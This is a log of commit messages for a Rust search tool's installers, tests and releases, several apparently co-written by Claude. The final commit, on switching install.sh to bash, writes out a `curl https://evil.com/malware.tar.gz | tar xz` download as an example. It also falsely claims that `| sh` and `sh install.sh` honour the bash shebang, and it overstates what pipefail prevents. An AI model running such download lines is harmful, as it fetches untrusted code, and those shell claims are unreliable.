The cargo zigbuild subcommand rejects --version. Probe cargo-zigbuild directly in the Linux tool guard and preserve the real CLI expectation in the regression.
q8ygy RCH ovh-a 2026-09-16T02:30:28Z: STAGE=fmt EXIT=0; STAGE=workflow-real-tool-version EXIT=0; STAGE=dsr-real-tool-version EXIT=0; STAGE=yaml-shell-abi EXIT=0; STAGE=source-stability EXIT=0. No compiler build. Rust integration, strict scanner and platform qualification remain pending.
Use pinned Zig 0.14.1 and cargo-zigbuild 0.23.0 for both Linux targets, retain plain artifact paths, and reject ELF requirements above the installer floor. Pin the repository nightly explicitly and guard Linux-only shell checks on Linux.
q8ygy: RCH hz4 2026-09-16T02:09:08Z STAGE=fmt EXIT=0; STAGE=yaml-shell-abi EXIT=0; STAGE=source-stability EXIT=0. Seven real shell ceiling cases passed. Rust integration, strict scanner, and final platform artifact qualification remain pending; no release/build/Actions run.
- Replace `ldd --version | head -n 1 | grep | tail` pipeline with a pure-builtin
parser `last_major_minor_in_line` that captures the entire banner once, avoiding
early closing readers and SIGPIPE (exit 141) under `set -o pipefail`.
- Add fallback to `getconf GNU_LIBC_VERSION` when `ldd` is absent or musl-based.
- Add regression tests in `tests/install_scripts.rs` validating deterministic parsing
under simulated slow-write ldd and musl fallback conditions.
Resolves: GitHub #444
- Update GitHub Actions release artifact matrix and packaging in .github/workflows/release.yml
- Refine build.rs asset bundling and install script verification in tests/install_scripts.rs
- Update documentation and version change notes in README.md and CHANGELOG.md
Owner directive 2026-08-21 (coding_agent_session_search-d389s). Everything here
was gated by rch check + clippy -D warnings, fmt, and the full suite on trj
(13,641 passed; every remaining red reproduces at clean HEAD 9e0acb88).
- frankentui: git 5f78cfa0 (0.3.1, April) -> crates.io =0.5.0 for ftui,
ftui-runtime, ftui-tty, ftui-extras. The 0.5 API compiled with zero
call-site changes and zero deprecations; TUI integration smoke passes.
build.rs contracts now expect the registry identity; AGENTS/README rows
updated.
- RustCrypto generation: aes-gcm 0.10 -> 0.11, sha2 0.10 -> 0.11, hkdf 0.12
-> 0.13 (digest 0.11 / hybrid-array). Array nonces use Nonce::from,
slice nonces use TryFrom on the existing length-validated error paths,
digests render through hex::encode (hybrid Array has no LowerHex), and
the HTML-export IV fill uses the same rand::rng() CSPRNG the export key
and nonce generators already use (aes-gcm no longer re-exports OsRng).
Remaining 0.10-generation copies are transitive (fad, ed25519-dalek).
- franken-agent-detection 57d2789e -> 17f28ad8 (Muse Code + VS Code Copilot
connectors); tru 5669b72a -> d7185c78 (0.2.3). build.rs expected_rev/
expected_version and the dependency source contract tables follow.
- In-range cargo update sweep (181 crates) with the fsqlite family held
whole at =0.3.4: fsqlite 0.3.6+ enables serde_json arbitrary_precision,
a viral feature that breaks f64 fields in tagged serde types
(frankensqlite bd-uxmhz / GH#375); the fsqlite and frankensearch bumps
wait for the upstream fix.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016NM334nFTUzquHKseo63JG
The merge series 9fe26cc5 -> 63533a35 -> 47332ca5 integrated a June-26-era
stale working line (56020f59..71938040, the v0.6.12 line) into main and
resolved conflicts by keeping the stale blobs wholesale. That silently
reverted ~2 months of released work on 86 files, including:
- Cargo.toml/package identity regressed 0.6.23 -> 0.6.12, asupersync pin
regressed =0.3.9 -> =0.3.4, and the dependency graph no longer resolved
(cargo could not select a version for asupersync) — main was unbuildable.
- src/lib.rs lost ~38 module declarations and the entire post-v0.6.23
triage wave, including the GH #353 forever-defer fix (aa03fd06), the
GH #374 doctor/authority fixes (7327191f, 56bf1a01, 43ab9235), the
GH #364 false-OOM quarantine fix (ef7e2595), and the GH #368 series.
- src/indexer/mod.rs lost the quarantine_retry module wiring.
- Golden robot fixtures, doctor/health schemas, and install scripts
regressed to their June shapes.
This commit restores all 86 clobbered paths to their state at 8e308ea3
(the last good main commit, v0.6.23 lineage), with three exceptions kept
from the merged side: .beads/cli-robot-enhancements.md (new note),
tests/e2e_resilience_scenario_runner.rs (new suite), and
.beads/issues.jsonl (merged as a union by bead id, newer updated_at wins,
preserving the local kupq4 bead alongside the remote gh-wave beads).
Additional repairs required to make --all-targets compile again:
- tests/connector_{aider,amp,antigravity,claude,cline,codex,gemini,
opencode,pi_agent}.rs, tests/{fs_errors,logging,parse_errors}.rs: add
`progress_tick: None` to every franken_agent_detection ScanContext
struct literal. The restored FAD pin (dd2c694, 0.1.10) added the
cass#373 progress_tick field, and these suites still used the
three-field literal — `cargo check --tests` was red on main even
before the bad merges (independently reported in PR #376).
- tests/e2e_resilience_scenario_runner.rs: temporarily disabled via
`#![cfg(any())]` with an explanatory header. It was authored against
the e2e_runner artifact APIs from f6cd6376, which are not on the
restored line yet.
NOT restored (needs deliberate re-landing, tracked in beads): the genuine
feature work from f6cd6376 (CLI wall-clock budgets --timeout/budget_ms/
per_host_budget_ms, robot budget envelopes, search refresh-order rework,
encrypt metadata taxonomy tests). Its diff remains intact in history at
f6cd6376 and must be rebased onto this repaired line rather than merged
blob-wise.
Verification: cargo check --all-targets exits 0 (previously failed at
dependency resolution); version string back at 0.6.23 matching the
latest release tag.
Co-Authored-By: Claude <noreply@anthropic.com>
The latest CI pass exposed three independent platform and test-suite failures after the broader workflow fixes landed.
Windows compiled Linux-only installer tests even though they are runtime-ignored outside Linux, so the Unix-only executable fixture helper was missing at compile time. Add a non-Unix helper body so ignored tests still type-check, and move a few top-level fixture fallible operations through a small explicit helper so the UBS changed-file delta gate remains neutral.
macOS canonicalizes temporary directories through /private/var while the test fixture path can be spelled /var. Compare archive-normalize data-dir arguments by filesystem-equivalent normalized paths instead of raw string spelling.
The TUI Enter-routing trace tests relied on capturing tracing output inside the parallel lib-test process. That capture can be empty when unrelated tests rebuild global tracing callsite interest concurrently. Record the routed branch in test-only app state and keep trace-content assertions as opportunistic checks when capture succeeds.
Verification:
- env CARGO_TARGET_DIR=/tmp/cass-check-target cargo test --test cli_doctor doctor_archive_normalize -- --nocapture
- env CARGO_TARGET_DIR=/tmp/cass-check-target cargo test --lib enter_routing_diagnostics_emit -- --nocapture
- env CARGO_TARGET_DIR=/tmp/cass-check-target cargo test --test install_scripts --no-run
- git diff --check
- rch exec -- env CARGO_TARGET_DIR=/tmp/cass-check-target cargo fmt --check
- rch exec -- env CARGO_TARGET_DIR=/tmp/cass-check-target cargo check --all-targets
- rch exec -- env CARGO_TARGET_DIR=/tmp/cass-check-target cargo clippy --all-targets -- -D warnings
- Local UBS delta check: current critical=283 warning=7597; baseline critical=283 warning=7597
Add helper functions (Resolve-LocalSourcePath, Copy-ArtifactToFile,
Read-TextResource) to install.ps1 so that artifact downloads and
checksum reads transparently handle both remote URLs and local
file:// paths. This lets the integration tests supply local zip
artifacts without needing EasyMode or a real HTTP server.
Update the two PowerShell integration tests accordingly:
- Remove the Windows-only guard so they run on any platform with pwsh.
- Drop the now-unnecessary -EasyMode flag since the installer natively
handles file:// URIs through the new helpers.
Co-Authored-By: Claude <noreply@anthropic.com>
Both install.sh and install.ps1 now properly handle custom ARTIFACT_URL
values that contain query strings or fragment suffixes. Instead of naively
appending ".sha256" to the full URL (which breaks for URLs like
"…tar.gz?download=1"), the scripts strip query/fragment components and
derive a sibling URL for the checksum file.
Key changes:
- Add helper functions (strip_url_suffix, artifact_name_from_url,
sibling_url, is_valid_sha256 in bash; Get-ArtifactNameFromUrl,
Get-SiblingUrl in PowerShell) to robustly parse artifact URLs
- Checksum fetching now loops over per-file .sha256 then SHA256SUMS.txt,
skipping sources that return malformed data instead of hard-failing
- SHA256SUMS.txt parsing uses exact filename matching and validates the
hash is a 64-char hex string before accepting it
- Per-file checksum files also validate the extracted value
- Remove unused SYSTEM variable from install.sh
- Fix PATH-update user messages to reference "cass" instead of
"coding-agent-search"
- Use POSIX tr character class [:upper:]/[:lower:] instead of A-Z/a-z
Tests added:
- install_sh_falls_back_to_sha256sums_when_per_file_checksum_is_missing
- install_sh_falls_back_to_sha256sums_when_per_file_checksum_is_invalid
- install_sh_strips_query_suffixes_when_deriving_default_checksum_url
- install_ps1_falls_back_to_sibling_sha256sums_for_custom_artifact_url
- Embedded HTTP fixture server for realistic URL-based test scenarios
Co-Authored-By: Claude <noreply@anthropic.com>
--- Bundle atomicity (src/pages/bundle.rs) ---
Rewrite BundleBuilder::build() to stage output in a unique temporary
sibling directory (unique_bundle_dir) instead of writing directly into
the final output path. On success the temp directory atomically replaces
the target via rename; on failure the existing bundle is preserved
untouched and the temp dir is cleaned up.
Add replace_dir_from_temp() which implements a safe swap: rename the
existing output to a timestamped backup, rename the temp into place, and
remove the backup on success. If the second rename fails the backup is
restored, ensuring the user never ends up with a half-written bundle.
Add unique_bundle_sidecar_path() with a process-id + nanosecond-timestamp
+ atomic-nonce scheme to avoid collisions in concurrent or rapid-fire
builds.
Add an early bail if the output path exists but is a regular file instead
of a directory.
Add two new unit tests:
- test_build_replaces_existing_bundle_without_stale_files: verifies that
stale files from a previous build (site/stale.txt, private/old-secret.txt,
site/payload/old.bin) are removed after a rebuild while fresh output
artifacts are present.
- test_build_failure_preserves_existing_bundle: verifies that a failed
rebuild does not destroy the existing bundle, checking that marker files
and config survive.
Add write_unencrypted_source() test helper to create minimal valid source
directories with an UnencryptedConfig config.json and payload file.
--- Wizard staging and --db support (src/pages/wizard.rs, src/lib.rs) ---
Move the export database and encryption artifacts into a tempfile-backed
staging directory (staging_dir) instead of the final output directory.
This prevents the bundle root from leaking intermediate files like
export.db, payload/, and config.json that are not part of the deployable
site.
The wizard now passes the staging encrypted_dir to BundleBuilder::build()
and writes the bundle directly into self.state.output_dir, eliminating
the previous "-bundle" suffix directory indirection.
Track the final site directory via self.state.final_site_dir so that
deployment steps (local, GitHub Pages, Cloudflare Pages) correctly
reference the site/ subdirectory inside the bundle root rather than the
old flat output path.
Update all deployment code paths (Local, GitHubPages, CloudflarePages) to
use the tracked final_site_dir. Update the local deployment message to
show "Your archive bundle has been exported to:" and display the
deployable site directory separately, and suggest `cass pages --preview`
instead of `python -m http.server`.
Add PagesWizard::set_db_path() method to allow overriding the database
path used for agent/workspace discovery and export.
Wire the CLI --db flag through to the wizard in execute_cli() so that
`cass --db /path pages` uses the specified database instead of the
default.
--- Doctor FTS table repair (src/lib.rs) ---
Add a three-state enum DoctorFtsTableState with variants:
- QueryableViaFrankensqlite: the fts_messages table is readable through
frankensqlite (the preferred engine).
- QueryableViaRusqlite: frankensqlite cannot read it (e.g. legacy
rootpage=0 schema) but rusqlite can, so search still works via the
fallback backend.
- Missing: neither engine can query it; includes both error messages for
diagnostic output.
Add probe_doctor_fts_table() which first tries a frankensqlite query,
and on failure falls back to opening the database via rusqlite with
read-only flags and busy_timeout to check accessibility.
Add recreate_fts_table_via_rusqlite() which drops and recreates the
FTS5 virtual table using the canonical FTS5_REGISTER_SQL schema, then
repopulates it from the messages/conversations/agents/workspaces tables
in a single transaction with a 30-second busy_timeout.
Replace the old run_doctor fts_table check (which used a simple
COUNT(*) query and emitted a warn on failure) with the new three-state
probe. The new logic:
- On QueryableViaFrankensqlite: emit pass with explicit engine name.
- On QueryableViaRusqlite: emit pass noting the fallback backend.
- On Missing with --fix: attempt recreate_fts_table_via_rusqlite, then
re-probe to confirm the table is now queryable; emit pass with message
count on success, or fail with both error messages on continued failure.
- On Missing without --fix: emit fail with both error messages and a hint
to run --fix.
Add two unit tests in doctor_fts_tests:
- doctor_fts_probe_accepts_legacy_sqlite_fts_table: creates a database
with a legacy FTS5 schema (including the deprecated message_id column
and porter tokenizer) and verifies that the probe returns either
QueryableViaFrankensqlite or QueryableViaRusqlite.
- recreate_fts_table_via_rusqlite_rebuilds_missing_index: creates a
database with messages but no FTS table, runs the repair function,
verifies one row was inserted, confirms MATCH queries work, checks the
recreated schema is contentless (content=''), and re-probes to confirm
queryability.
--- Installer checksum verification fallback (install.sh) ---
Add checksum_matches() function that provides a three-tier SHA-256
verification cascade:
1. sha256sum -c (coreutils, most Linux systems)
2. shasum -a 256 (Perl-based, macOS default)
3. openssl dgst -sha256 (widely available fallback)
The function normalizes both expected and actual checksums to lowercase
before comparison for case-insensitive matching. If sha256sum returns
exit code 127 (command not found despite passing command -v), it falls
through to the next tool. If none are available, it prints an error and
exits.
Replace the hardcoded `echo "$CHECKSUM $TMP/$TAR" | sha256sum -c -`
invocation with a call to checksum_matches.
--- PowerShell installer hardening (install.ps1) ---
Wrap the entire download-verify-extract-install sequence in a try/finally
block that creates a unique temp directory (cass-install-<GUID> under
the system temp path) and ensures cleanup via Remove-Item -Recurse -Force
in the finally block, even on failure.
Add binary name fallback: search for both cass.exe and the legacy
coding-agent-search.exe in the extracted archive, with a warning if the
legacy name is found.
Harden PATH manipulation: handle null/empty PATH values, split on
semicolons and filter empties to avoid adding duplicate entries or
malformed paths.
--- End-to-end test coverage (tests/e2e_pages.rs) ---
Add test_cli_pages_full_workflow_end_to_end: a comprehensive integration
test that exercises the full non-interactive CLI pipeline:
- Creates a test database with 4 conversations
- Writes a pages config JSON with password encryption and local deployment
- Runs `cass --db <path> pages --config <config> --json`
- Asserts the JSON output contains status=success, 4 conversations,
encryption enabled
- Verifies the bundle structure (site/index.html exists, private/
recovery-secret.txt exists, no leaked staging payload/ directory)
- Runs `cass pages --verify <site> --json` and asserts status=valid
- Spawns the preview server on an ephemeral port, waits for TCP
readiness, performs HTTP GET / and HEAD /config.json requests
- Validates COOP and COEP security headers in the response
- Performs a full decrypt roundtrip: loads config, unlocks with password,
decrypts to file, opens with frankensqlite, counts conversations and
messages
Add test_pages_wizard_pty_respects_db_override_and_writes_bundle_root:
an interactive PTY-based test that drives the pages wizard through all
prompts:
- Spawns cass in a PTY with --db override pointing to a 2-conversation
test database
- Sets isolated HOME, XDG_DATA_HOME, and CASS_DATA_DIR to prevent
interference with the host environment
- Navigates through agent selection, workspace selection, time range,
password entry (with confirmation), recovery key, QR code, title,
description, metadata visibility, deployment target, and output
directory prompts
- Confirms content review and recovery key acknowledgment
- Passes both final confirmation steps
- Verifies the wizard exits successfully within 45 seconds
- Asserts the bundle structure: site/index.html under the requested
output root, private/recovery-secret.txt present, no leaked payload/
directory
- Checks the wizard output text mentions "Deployable site directory"
and suggests "cass pages --preview"
- Performs a full decrypt roundtrip with the wizard-chosen password,
verifying 2 conversations from the overridden database
Add extensive PTY test infrastructure:
- pages_wizard_guard(): a OnceLock<Mutex<()>> to serialize wizard tests
that may conflict on shared resources
- cass_bin_path(): returns the compiled binary path via CARGO_BIN_EXE_cass
- spawn_capture_thread(): spawns a background thread to continuously read
from a PTY reader into an Arc<Mutex<Vec<u8>>>
- wait_for_output_growth(): polls the captured buffer until it grows by
at least min_delta bytes or times out
- wait_for_output_contains(): polls for a specific needle string in the
captured PTY output
- wait_for_output_stable(): waits until the output buffer stops growing
for a specified duration (debounce)
- send_key_sequence(): writes raw bytes to the PTY writer
- send_line_and_wait(): sends a line (with \r) and asserts output growth
- send_confirm_yes_and_wait(): sends 'y' and asserts output growth
- wait_for_prompt(): combines wait_for_output_contains with stability
check, panicking with a tail of captured output on timeout
- pick_unused_local_port(): binds an ephemeral TCP port and returns it
- wait_for_port(): polls TCP connectivity until a port accepts connections
- http_request(): performs a raw HTTP request and returns the full response
- write_pages_config(): creates a JSON config file for non-interactive
CLI pages export
--- Installer test coverage (tests/install_scripts.rs) ---
Add make_executable_script() helper that writes a script file and sets
0o755 permissions (Unix only).
Add install_sh_falls_back_to_shasum_when_sha256sum_fails: creates a fake
sha256sum script that exits 127 (simulating an unavailable implementation),
prepends it to PATH so it shadows the real sha256sum, and runs install.sh
with the fixture tarball and checksum. Asserts the install succeeds by
falling through to shasum, verifying the cass binary is present in the
destination directory.
Co-Authored-By: Claude <noreply@anthropic.com>
install.ps1 — reject 32-bit Windows early and simplify arch detection:
- Add an upfront gate that exits with an error on 32-bit Windows, since
only 64-bit binaries are published. This gives users a clear message
instead of a confusing download 404.
- Hardcode $arch to "amd64" (the only published Windows arch) and remove
the now-unnecessary Is64BitProcess ternary.
install.sh — correct build-from-source toolchain description:
- Change the info message from "requires git, rust nightly" to "requires
git and a working Rust stable toolchain". The project builds on stable
Rust; the old message was misleading and could send users off to
install a nightly toolchain they don't need.
packaging/homebrew/coding-agent-search.rb — bump to v0.2.3:
- Update formula version from 0.2.2 to 0.2.3.
- Replace all three SHA-256 checksums (darwin-arm64, linux-amd64,
linux-arm64) with the hashes for the v0.2.3 release assets.
src/indexer/mod.rs — rustfmt formatting fix in watch_sources:
- Reformat the chained array/iterator expression that initialises
`last_scan` so each Duration variant is on its own line with the
closing bracket properly aligned. Pure whitespace change; no logic
difference.
tests/install_scripts.rs — isolate install-script tests from real HOME:
- Add an `isolated_home()` helper that creates a temporary directory
with empty .bashrc and .zshrc files, preventing the install script's
PATH-injection logic from modifying the developer's real shell
configuration files during test runs.
- Wire `isolated_home()` into every test that invokes install.sh:
install_sh_succeeds_with_valid_checksum,
install_sh_fails_with_bad_checksum, upgrade_replaces_existing_binary,
concurrent_installs_are_serialized, and verify_flag_runs_self_test.
Each test now passes HOME=<tempdir> to the bash subprocess.
Co-Authored-By: Claude <noreply@anthropic.com>
The install script tests share a global lock file at
/tmp/coding-agent-search-install.lock.d. When running with
--test-threads=1, there was still a race condition where tests
could interfere with each other's lock cleanup.
This adds #[serial] from the serial_test crate to all install script
tests, ensuring they run truly sequentially and don't conflict.
Affected tests:
- install_sh_succeeds_with_valid_checksum
- install_sh_fails_with_bad_checksum
- upgrade_replaces_existing_binary
- concurrent_installs_are_serialized
- verify_flag_runs_self_test
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Adds thorough test coverage for the upgrade workflow including version
comparison logic, update state persistence, and end-to-end upgrade
scenarios.
New unit tests in src/update_check.rs:
- test_version_comparison_upgrade_scenarios: Tests semver comparison for
patch/minor/major upgrades, downgrades, prerelease handling
- test_update_state_persistence_round_trip: Verifies state serialization
and deserialization, skip version storage
- test_update_info_upgrade_workflow: Simulates full upgrade decision
workflow including skip/show logic
- test_check_interval_respects_cadence: Validates hourly check cadence
- test_github_repo_constant_is_valid: Ensures repo constant format
New E2E tests in tests/install_scripts.rs:
- upgrade_replaces_existing_binary: Simulates upgrading from an "old"
version to a new one, verifying the binary is correctly replaced
- concurrent_installs_are_serialized: Tests the lock mechanism prevents
race conditions when multiple installs run simultaneously
- verify_flag_runs_self_test: Confirms --verify flag executes the
installed binary after installation
These tests ensure the upgrade process works correctly across various
scenarios and catch regressions in version checking, installer scripts,
and the self-update mechanism.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
The install.sh script uses a lock directory at /tmp/coding-agent-search-install.lock.d
to prevent concurrent installations. In CI, if a previous test run didn't clean up
properly (e.g., due to crash or timeout), the lock directory persists and causes
subsequent tests to fail with "Another installer is running".
Fix: Clean up any stale lock directories at the start of each test.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Enhance installer test coverage by adding --easy-mode flags to existing tests
and introducing a comprehensive end-to-end test for the easy-mode installation
flow with rustup bootstrap simulation.
Changes to tests/install_scripts.rs:
- Added --easy-mode flag to all bash installer test invocations
* install_sh_succeeds_with_valid_checksum now tests easy mode path
* install_sh_fails_with_bad_checksum validates easy mode error handling
- Added -EasyMode flag to all PowerShell installer test invocations
* install_ps1_succeeds_with_valid_checksum exercises Windows easy mode
* install_ps1_fails_with_bad_checksum ensures checksum enforcement in easy mode
- Rationale: easy mode has distinct code paths (auto PATH modification, non-
interactive rustup, etc.) that need explicit test coverage
New test: tests/e2e_install_easy.rs:
- Comprehensive end-to-end test for easy-mode installer with rustup simulation
- Test strategy: create fake HOME with fake bin/rustc, bin/cargo, bin/sha256sum
to skip actual rustup installation while exercising rustup detection logic
- Uses timeout(1) command with 30-second limit to prevent hanging in CI
- Sets RUSTUP_INIT_SKIP=1 to bypass rustup but still validates the ensure_rust()
code path that checks for existing nightly toolchain
- Validates complete installation flow:
* Checksum verification against fixture .sha256 file
* Binary extraction from tar.gz
* Installation to temp destination directory
* Binary is executable (runs --help successfully)
Technical details (e2e_install_easy):
- Creates fake rustc binary that echoes "rustc 1.80.0-nightly" to satisfy
nightly detection regex in install.sh
- Creates fake cargo binary that echoes version for cargo detection
- Creates fake sha256sum wrapper that delegates to real /usr/bin/sha256sum
for actual checksum verification
- Sets execute permissions via chmod +x on all fake binaries
- Uses file:// URL for ARTIFACT_URL to test local fixture path
(tests/fixtures/install/coding-agent-search-vtest-linux-x86_64.tar.gz)
- Constructs PATH="$fake_bin:$PATH" so fakes shadow real binaries during test
- Asserts binary exists at $DEST/coding-agent-search after installation
- Runs installed binary with --help to confirm it's a valid executable
Test fixtures:
- Relies on existing fixture tar.gz and .sha256 files in tests/fixtures/install/
- Fixture binary prints "fixture-linux" when executed, allowing output validation
- Checksum file is read and passed via CHECKSUM env var for verification
Why this matters:
- Easy mode is the recommended installation path for end users (one-liner from
README), so it needs robust test coverage
- Rustup bootstrap is complex (network, prompts, PATH modification) and benefits
from CI testing with fake binaries to avoid actual downloads
- Validates that RUSTUP_INIT_SKIP=1 correctly bypasses rustup installation
- Ensures installer works with file:// URLs for local testing and CI artifacts
- Timeout wrapper prevents CI hangs if installer logic has bugs
Test execution:
- Run with: cargo test --test e2e_install_easy -- --test-threads=1
- Single-threaded to avoid tempfile conflicts and concurrent installer runs
- Complements existing install_scripts.rs tests with full-stack easy-mode coverage
All tests pass with the enhanced install.sh logic committed in cfac576.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
Changes install.sh shebang from generic sh to bash and updates tests to match,
ensuring consistent behavior across platforms and enabling use of bash-specific
features like pipefail and arrays.
Changes:
**install.sh**:
```bash
# Before:
#!/usr/bin/env sh
# After:
#!/usr/bin/env bash
```
**tests/install_scripts.rs**:
```rust
// Before:
Command::new("sh").arg("install.sh")
// After:
Command::new("bash").arg("install.sh")
```
Rationale:
The installer script uses bash-specific features that are not portable to pure
POSIX sh:
1. **`set -euo pipefail`**:
- `-o pipefail`: bash extension, not in POSIX sh
- Ensures pipeline failures don't get masked
- Example: `curl | tar` fails if curl fails
2. **Parameter expansion patterns** (potential future use):
- `${VAR:-default}` works in both
- `${VAR//pattern/replace}` is bash-only
- Current script safe, but bash gives future flexibility
3. **Array support** (not currently used but common in installers):
- bash supports arrays: `arr=(a b c)`
- Pure sh requires workaround with IFS manipulation
Platform availability:
| Platform | sh | bash | Impact |
|----------|-----|------|--------|
| Linux | dash/ash | ✓ | bash universally installed |
| macOS | bash (zsh) | ✓ | bash pre-installed |
| FreeBSD | ash | ✓ | bash in base or pkg |
| WSL | dash | ✓ | bash standard |
On modern systems, bash is effectively universal. Systems without bash are rare
(embedded, minimal containers) and wouldn't be running coding agents anyway.
Why this matters:
The `-o pipefail` option is critical for installation security:
```bash
# Without pipefail:
curl https://evil.com/malware.tar.gz | tar xz
# If curl fails (404, network error), tar xz still runs on empty input!
# Exit code is tar's success (0), masking curl failure.
# With pipefail:
set -euo pipefail
curl https://evil.com/malware.tar.gz | tar xz
# If curl fails, entire pipeline fails immediately.
# Script exits with curl's error code.
```
Real-world scenario:
- User runs installer on flaky network
- curl times out mid-download (incomplete archive)
- Without pipefail: tar extracts partial archive, installer "succeeds"
- With pipefail: script fails immediately, user sees clear error
Test alignment:
Tests were already implicitly relying on bash features via system sh symlink
(which points to bash on most dev machines). Making this explicit prevents
surprises on systems where /bin/sh is dash or ash.
Before:
```bash
$ sh install.sh # Might use dash on Debian/Ubuntu
$ bash install.sh # Works everywhere
```
After:
```bash
$ ./install.sh # Always uses bash via shebang
$ bash install.sh # Still works (explicit)
$ sh install.sh # User mistake, but shebang overrides
```
Alternative considered: Make script POSIX sh compatible
Rejected because:
- Removing pipefail reduces safety (silent pipeline failures)
- POSIX sh restrictions limit future enhancements
- bash universality makes strict POSIX unnecessary
- No meaningful portability gain (bash already everywhere)
CI impact:
GitHub Actions ubuntu-latest has bash pre-installed:
```yaml
- name: e2e install scripts
run: cargo test --test install_scripts -- --test-threads=1
# Tests invoke Command::new("bash"), which exists in runner
```
No CI changes needed; bash is in PATH on all GitHub-hosted runners.
Documentation impact:
README already shows curl | sh pattern, which respects shebang:
```bash
curl -fsSL https://.../install.sh | sh
# Despite "| sh", the script runs as bash due to shebang
```
This is standard practice (see rustup, nvm, homebrew installers).
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
Dicklesworthstone